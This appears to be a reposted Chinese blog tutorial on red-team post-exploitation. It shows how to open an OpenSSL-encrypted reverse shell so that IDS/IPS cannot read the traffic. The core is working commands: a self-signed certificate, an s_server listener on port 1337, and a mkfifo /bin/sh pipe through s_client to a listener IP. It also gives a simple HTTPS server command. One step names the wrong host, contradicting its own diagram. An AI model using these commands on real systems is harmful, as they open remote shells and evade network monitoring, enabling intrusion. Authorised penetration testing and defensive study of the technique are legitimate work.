内容简介:在进行红队渗透测试的后渗透阶段,为了进一步横行渗透往往需要反弹 shell,我们使用 nc 反弹 shell 进行测试
在进行红队渗透测试的后渗透阶段,为了进一步横行渗透往往需要反弹 shell, 这里 列出了使用各种语言进行反弹 shell 的方法,这种反弹 shell 方式都有一个缺点,那就是 所有的流量都是明文传输的 。
我们使用 nc 反弹 shell 进行测试
使用 wireshark 可以直接看到我们执行的命令和返回信息
在这种情况下当我们进行操作时,网络防御检测系统(IDS、IPS等)会获取到我们的通信内容并进行告警和阻止,因此需要对通信内容进行混淆或加密,这时可以选择使用 OpenSSL 反弹一个加密 shell。
OpenSSL 简介
在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份
利用 OpenSSL 反弹 shell 之前需要生成自签名证书
使用 OpenSSL 生成证书自签名证书
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
生成自签名证书时会提示输入证书信息,如果懒得填写可以一路回车
反弹加密 shell
假设我们从 A 主机反弹 shell 到 B 主机
------------------ ---------------------- | A:172.16.1.175 | --- shell ---> | B:172.16.1.174:1337 | ------------------ ----------------------
首先需用利用上一步生成的自签名证书,在 B 主机上使用 OpenSSL 监听一个端口,在这里使用 1337 端口
命令为:
openssl s_server -quiet -key key.pem -cert cert.pem -port 1337
此时 OpenSSL 在 1337 端口上启动了一个 SSL/TLS server
这时在 B 主机进行反弹 shell 操作,命令为:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; rm /tmp/s
这样就使用 OpenSSL 反弹了一个加密的 shell
效果如下:
使用 wireshark 抓包可以看到,A 和 B 主机之间在使用 TLS1.2 协议进行加密通信
OpenSSL 还有很多功能, 这里 详细的列出了 OpenSSL 的常见使用方法
在渗透测试时,还可以使用 OpenSSL 搭建简易 HTTPS Server
使用 OpenSSL 搭建简易 HTTPS Server
使用以下命令前需要使用 OpenSSL 生成证书自签名证书,命令在上文中已给出
openssl s_server -key key.pem -cert cert.pem -accept 44330 -WWW
以上命令在 44330 端口启动了一个 HTTPS Server
参考链接
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用Java反弹shell
- powershell反弹shell常见方式
- 渗透测试之反弹shell命令分析
- DELPHI黑客编程(二):反弹后门原理实现
- 照弹不误:出站端口受限环境下反弹Shell的思考
- Metaspolit下配合Ngrok同时实现内网反弹+转发
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。